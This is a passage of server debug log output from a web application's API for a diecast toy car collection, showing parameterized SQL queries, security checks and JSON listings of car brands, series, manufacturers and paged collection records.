(`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:57:05.157Z server-connect:app Executing action step identify
2026-02-04T11:57:05.157Z server-connect:app options: { provider: 'security' }
2026-02-04T11:57:05.158Z server-connect:output identity: 1
2026-02-04T11:57:05.158Z server-connect:app Executing action step restrict
2026-02-04T11:57:05.158Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:57:05.158Z server-connect:output restrict: undefined
2026-02-04T11:57:05.158Z server-connect:app Executing action step select
2026-02-04T11:57:05.158Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T11:57:05.159Z server-connect:output restrict: undefined
2026-02-04T11:57:05.159Z server-connect:app Executing action step select
2026-02-04T11:57:05.159Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T11:57:05.160Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 }
]
2026-02-04T11:57:05.161Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T11:57:05.161Z server-connect:app Executing action step select
2026-02-04T11:57:05.161Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T11:57:05.162Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T11:57:05.162Z server-connect:app Executing action step select
2026-02-04T11:57:05.162Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T11:57:05.163Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T11:57:05.165Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 165,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:57:42.999Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:57:42.999Z server-connect:app Executing action step identify
2026-02-04T11:57:42.999Z server-connect:app options: { provider: 'security' }
2026-02-04T11:57:42.999Z server-connect:output identity: 1
2026-02-04T11:57:42.999Z server-connect:app Executing action step restrict
2026-02-04T11:57:42.999Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:57:43.000Z server-connect:output restrict: undefined
2026-02-04T11:57:43.000Z server-connect:app Executing action step paged
2026-02-04T11:57:43.000Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:57:43.003Z server-connect:output list: {
  offset: 25,
  limit: 25,
  total: 165,
  page: {
    offset: { first: 0, prev: 0, next: 50, last: 150 },
    current: 2,
    total: 7
  },
  data: [
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 150,
      model_name: 'Dodge Charge',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-15T18:30:00.000Z',
      price: '199.00',
      brand: 'Jams Toys',
      series: 'Mainline',
      brand_id: 191,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 149,
      model_name: "Fish'd & Chip'd",
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Spider Man',
      vehicle_brand_id: 183,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 148,
      model_name: '92 Jeep Wrangler Sahara',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-22T18:30:00.000Z',
      price: '545.00',
      brand: 'Hotwheels',
      series: 'HW Pop Culture',
      brand_id: 71,
      series_id: 181,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 147,
      model_name: 'Nissan Fairlady Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Pantone',
      brand_id: 71,
      series_id: 180,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 146,
      model_name: 'Lucid Air',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'D',
      vehicle_brand_name: 'Lucid',
      vehicle_brand_id: 184,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 145,
      model_name: 'Lotus Cortina',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Euro',
      brand_id: 71,
      series_id: 179,
      case: 'D',
      vehicle_brand_name: 'Lotus',
      vehicle_brand_id: 185,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 144,
      model_name: 'Datsun 240Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'C',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 143,
      model_name: 'Pixel Shaker',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Ride-Ons',
      brand_id: 71,
      series_id: 178,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 142,
      model_name: 'Nissan 350Z Custom',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
